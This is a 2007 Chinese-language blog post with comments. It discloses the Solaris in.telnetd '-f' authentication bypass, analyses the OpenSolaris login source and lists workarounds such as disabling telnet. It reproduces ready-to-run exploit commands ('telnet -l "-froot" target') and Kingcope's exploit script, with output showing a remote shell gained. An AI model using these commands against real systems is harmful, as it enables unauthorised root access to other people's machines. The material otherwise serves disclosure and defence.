
看完本文后, 请尽快检查您的Solaris系统.
如果你的Solaris系统运行了telnet服务程序, 你将会感到十分惊讶: 只需执行一个简单的步骤就可以获得root权限(也可以是其它用户权限). 该漏洞的全称是: Solaris 10/11系统上的telnet远程root漏洞(或SunOS 5.10/5.11 in.telnetd 远程漏洞). 无需任何技巧和漏洞知识, 你就可以通过脚本执行大规模的攻击. 完整的漏洞利用方法可以从该pdf文章获得(或从文章下面的漏洞代码解释部分). 下面简单介绍一下如何利用该漏洞. 基本上你可以在telnet命令的-l选项后指定任何一个”-fusername”参数, fusername可以是任何你需要的用户名, 比如bin, root等. 执行telnet后可以得到fusername指定的用户权限. 比如:
telnet -l “-fbin” target_address
看到这里请禁止您solaris系统上的telnet程序. 另外该漏洞的HEV数据可以从ErraSec网站下载.

注: Solaris 10的默认安装不会受到该漏洞的影响. 如果你修改了/etc/default/login配置文件中的CONSOLE变量, 你将只能通过本地控制台root登陆系统. 当然如果你注释掉了CONSOLE这一行的话, 任何用户都将可以通过本地或远程方式利用telnet漏洞. 下面是一张CONSOLE行注释后的示例图片:
telnet -l “-froot” target_address

漏洞代码解释
下面的漏洞代码适用于SunOS 5.10/5.11系统上的in.telnetd程序, 原作者是Kingcope.
首先看Opensolaris的源代码:
[code]
/usr/src/cmd/cmd-inet/usr.sbin/in.telnetd.c
3198
3199 } else /* default, no auth. info available, login does it all */ {
3200 (void) execl(LOGIN_PROGRAM, “login”,
3201 “-p”, “-h”, host, “-d”, slavename,
3202 getenv(”USER”), 0);
3203 }
/usr/src/cmd/login/login.c
1397 break;
1398
1399 case ‘f’:
1400 /*
1401 * Must be root to bypass authentication
1402 * otherwise we exit() as punishment for trying.
1403 */
1404 if (getuid() != 0 || geteuid() != 0) {
1405 audit_error = ADT_FAIL_VALUE_AUTH_BYPASS;
1406
1407 login_exit(1); /* sigh */
1408 /*NOTREACHED*/
1409 }
1410 /* save fflag user name for future use */
1411 SCPYL(user_name, optarg);
1412 fflag = B_TRUE;
[/code]
看完上面后, 我们可以通过设置USER环境变量”-fusername”来获得需要的用户权限, 新的用户登陆无需口令验证.
下面是正式的漏洞利用代码(称作sunos):
—开始(剪贴下面代码)—
#!/bin/sh
# CLASSIFIED CONFIDENTIAL SOURCE MATERIAL
#
# *********************ATTENTION********************************
# THIS CODE _MUST NOT_ BE DISCLOSED TO ANY THIRD PARTIES
# (C) COPYRIGHT Kingcope, 2007
#
################################################################
echo “”
echo “SunOS 5.10/5.11 in.telnetd Remote Exploit by Kingcope kingcope@gmx.net”
if [ $# -ne 2 ]; then
echo “./sunos
echo “./sunos localhost bin”
exit
fi
echo “”
echo “ALEX ALEX”
echo “”
telnet -l”-f$2″ $1
—结束—
然后执行漏洞程序:
$ ./sunos
SunOS 5.10/5.11 in.telnetd Remote Exploit by Kingcope kingcope@gmx.net
ALEX ALEX
Trying
Connected to
Escape character is ‘^]’.
Last login: Wed Feb 7 16:28:19 from
Sun Microsystems Inc. SunOS 5.10 Generic January 2005
$ uname -a;id
SunOS library7 5.10 Generic_118833-33 sun4u sparc SUNW,Sun-Fire-V245
uid=4(adm) gid=4(adm)
$
我们看到, 执行sunos脚本后, 执行者获得了adm帐户权限.
参考
Trivial remote Solaris 0day, disable telnet now.
备注
转载请保持文章完整性, 欢迎到blog.zhaoke.com网站与赵珂交流.
Islab.org

lcosu | 2007-02-15 10:43 | Permanent Link
SCPYL(user_name, optarg);
这段代码出了问题吧
zhaoke | 2007-02-15 17:03 | Permanent Link
受影响的系统:
如果你使用”Full Install(完整安装)方式”安装S10, S10u1或S10u2, 系统将自动运行in.telnetd服务程序. 不过最新的S10u3, 如果你选择了”secure by default(默认安全模式)”选项安装, 系统将启动sshd守护进程来替代telnetd.
注: S10u3首次提供”secure by default(默认安全模式)”选项.
临时解决办法:
1. 防止root登陆
注释/etc/default/login文件的CONSOLE=行.
或:
# cp /bin/login /bin/login.new
# perl -pi -e
’s/u:s:R:f:h:r:pad:t:U:z:/u:s:R:F:h:r:pad:t:U:z:/’
/bin/login.new
# mv /bin/login /bin/login.bad.save
# mv /bin/login.new /bin/login
2. 防止其它用户登陆
在sun公司提供正式的补丁之前, 关闭telnet服务:
# svcadm disable svc:/network/telnet:default
更多有关该漏洞和补丁的信息, 可参考Alan Hargreaves(Sun公司系统技术支持中心雇员)的网志.
zhaoke | 2007-02-15 17:48 | Permanent Link
To lcosu:
1399 case ‘f’:
1400 /*
1401 * Must be root to bypass authentication
1402 * otherwise we exit() as punishment for trying.
1403 */
1404 if (getuid() != 0 || geteuid() != 0) {
1405 audit_error = ADT_FAIL_VALUE_AUTH_BYPASS;
1406
1407 login_exit(1); /* sigh */
1408 /*NOTREACHED*/
1409 }
1410 /* save fflag user name for future use */
1411 SCPYL(user_name, optarg);
1412 fflag = B_TRUE;
主要问题在安全设计上面, 1399至1412代码段: 如果root用户使用-f参数, 将无需任何密码验证. 而其它用户使用将直接被punishment(similar to rejected, 拒绝), 并返回错误值. in.telnetd程序使用的是tcp 23号端口, 我们知道进程使用1024以下的端口号需要root权限, 而且in.telnetd进程在调用/bin/login程序的时候并没有释放root权限, 所以当远程系统用户通过telnet程序登陆系统使用-f参数(无论是指定root或其它用户), 在代码段1404处, getuid()和geteuid()取得的有效UID和UID皆为0, 这样一来任何用户都将可以获得他们需要的用户身份.
pczou | 2007-02-16 10:17 | Permanent Link
这个bug有些过于小儿科,叫SUN很没面子。看看SUN的人自己写的从发现bug到给出补丁的全过程,SUN的响应速度还是满快的:http://blogs.sun.com/tpenta/entry/the_in_telnetd_vulnerability_exploit